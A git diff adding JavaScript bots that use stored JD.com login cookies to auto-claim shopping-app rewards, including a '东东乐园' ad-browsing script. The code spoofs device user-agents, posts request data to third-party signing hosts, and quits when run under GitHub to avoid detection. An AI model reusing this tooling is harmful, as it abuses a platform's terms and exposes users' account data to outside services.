Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + +function taskUrl(functionId, body) { + if (functionId === "interactive_info") { + body = `[${encodeURIComponent(JSON.stringify(body))}]` + } else { + body = encodeURIComponent(JSON.stringify(body)) + } + let function_Id; + if (functionId.indexOf("/") > -1) { + function_Id = functionId.split("/")[1] + } else { + function_Id = functionId + } + return { + url: `${JD_API_HOST}${functionId}?functionId=${function_Id}&appid=contenth5_common&body=${body}&client=wh5`, + headers: { + "Host": "api.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Origin": "https://prodev.m.jd.com", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://prodev.m.jd.com/", + "Cookie": cookie + } + } +} +function taskPostUrl(functionId, body) { + return { + url: `${JD_API_HOST}client.action?functionId=${functionId}`, + body, + headers: { + "Host": "api.m.jd.com", + "Content-Type": "application/x-www-form-urlencoded", + "j-e-c": "", + "Accept": "*/*", + "j-e-h": "", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-Hans-CN;q=1", + "User-Agent": "JD4iPhone/167841 (iPhone; iOS; Scale/3.00)", + "Referer": "", + "Cookie": cookie + } + } +} +function getSign(functionId, body) { + return new Promise(async resolve => { + let data = { + functionId, + body: JSON.stringify(body), + "client":"apple", + "clientVersion":"10.3.0" + } + let HostArr = ['jdsign.cf', 'signer.nz.lu'] + let Host = HostArr[Math.floor((Math.random() * HostArr.length))] + let options = { + url: `https://cdn.nz.lu/ddo`, + body: JSON.stringify(data), + headers: { + Host, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + }, + timeout: 30 * 1000 + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getSign API请求失败,请检查网路重试`) + } else { + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function getAuthorShareCode(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + resolve(JSON.parse(data)) + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(); + } + }) + await $.wait(10000) + resolve(); + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_ddly.js b/jd_ddly.js new file mode 100644 index 0000000..e4ab771 --- /dev/null +++ b/jd_ddly.js @@ -0,0 +1,211 @@ +/* +东东乐园@wenmoux +活动入口:东东农场->东东乐园(点大风车 +好像没啥用 就20💧 +更新地址:https://raw.githubusercontent.com/Wenmoux/scripts/wen/jd/jd_ddnc_farmpark.js +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#东东乐园 +30 7 * * * https://raw.githubusercontent.com/Wenmoux/scripts/wen/jd/jd_ddnc_farmpark.js, tag=东东乐园, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "30 7 * * *" script-path=https://raw.githubusercontent.com/Wenmoux/scripts/wen/jd/jd_ddnc_farmpark.js tag=东东乐园 + +===============Surge================= +东东乐园 = type=cron,cronexp="30 7 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Wenmoux/scripts/wen/jd/jd_ddnc_farmpark.js + +============小火箭========= +东东乐园 = type=cron,script-path=https://raw.githubusercontent.com/Wenmoux/scripts/wen/jd/jd_ddnc_farmpark.js, cronexpr="30 7 * * *", timeout=3600, enable=true + + */ +const $ = new Env('东东乐园'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +const randomCount = $.isNode() ? 20 : 5; +const notify = $.isNode() ? require('./sendNotify') : ''; +let merge = {} +let codeList = [] +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = `https://api.m.jd.com/client.action`; + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.beans = 0 + $.taskList = [] + message = '' + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await parkInit() + for (task of $.taskList) { + if (task.topResource.task.status == 3) { + console.log(`任务 ${task.topResource.title} 已完成`) + } else { + console.log("去浏览:" + task.topResource.title) + let index = task.name.match(/\d+/)[0] - 1 + console.log(task.topResource.task.advertId, index, task.type) + await browse(task.topResource.task.advertId) + await $.wait(1000); + await browseAward(task.topResource.task.advertId, index, task.type) + } + } + // console.log(`\n集勋章得好礼 By:【zero205】`) + // console.log(`\n由于我自己写这个脚本的时候已经手动开启活动了\n所以不知道开启活动的代码\n没有开启的手动开启吧,活动入口:东东农场->水车\n`) + // await collect() + } + } + + +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) +//获取活动信息 + + + + +function browseAward(id, index, type) { + return new Promise(async (resolve) => { + const options = taskUrl("ddnc_farmpark_browseAward", `{"version":"1","channel":1,"advertId":"${id}","index":${index},"type":${type}}`) + // console.log(options) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + // console.log(data) + if (data.result) { + console.log("领取奖励成功,获得💧" + data.result.waterEnergy) + } else { + console.log(JSON.stringify(data)) + } + + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function browse(id) { + return new Promise(async (resolve) => { + const options = taskUrl("ddnc_farmpark_markBrowser", `{"version":"1","channel":1,"advertId":"${id}"}`) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + console.log(`浏览 ${id} : ${data.success}`) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + + +function parkInit() { + return new Promise(async (resolve) => { + const options = taskUrl("ddnc_farmpark_Init", `{"version":"1","channel":1}`) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + // console.log(data) + if (data.buildings) { + $.taskList = data.buildings.filter(x => x.topResource.task) + } else { + console.log("获取任务列表失败,你不会是黑鬼吧") + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function taskUrl(functionId, body) { + const time = Date.now(); + return { + url: "https://api.m.jd.com/client.action", + body: `functionId=${functionId}&body=${encodeURIComponent(body)}&client=wh5&clientVersion=1.0.0&uuid=`, + headers: { + Accept: "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + Connection: "keep-alive", + Cookie: cookie, + Host: "api.m.jd.com", + Referer: "https://h5.m.jd.com/babelDiy/Zeus/J1C5d6E7VHb2vrb5sJijMPuj29K/index.html?babelChannel=ttt1&lng=107.147086&lat=33.255079&sid=cad74d1c843bd47422ae20cadf6fe5aw&un_area=8_573_6627_52446", + "User-Agent": "jdapp;android;9.4.4;10;3b78ecc3f490c7ba;network/UNKNOWN;model/M2006J10C;addressid/138543439;aid/3b78ecc3f490c7ba;oaid/7d5870c5a1696881;osVer/29;appBuild/85576;psn/3b78ecc3f490c7ba|541;psq/2;uid/3b78ecc3f490c7ba;adk/;ads/;pap/JA2015_311210|9.2.4|ANDROID 10;osv/10;pv/548.2;jdv/0|iosapp|t_335139774|appshare|CopyURL|1606277982178|1606277986;ref/com.jd.lib.personal.view.fragment.JDPersonalFragment;partner/xiaomi001;apprpd/MyJD_Main;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + } + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_delCoupon.js b/jd_delCoupon.js new file mode 100644 index 0000000..5cb6e53 --- /dev/null +++ b/jd_delCoupon.js @@ -0,0 +1,235 @@ +/* + +0 0 * 6 * jd_delCoupon.js + +*/ +const $ = new 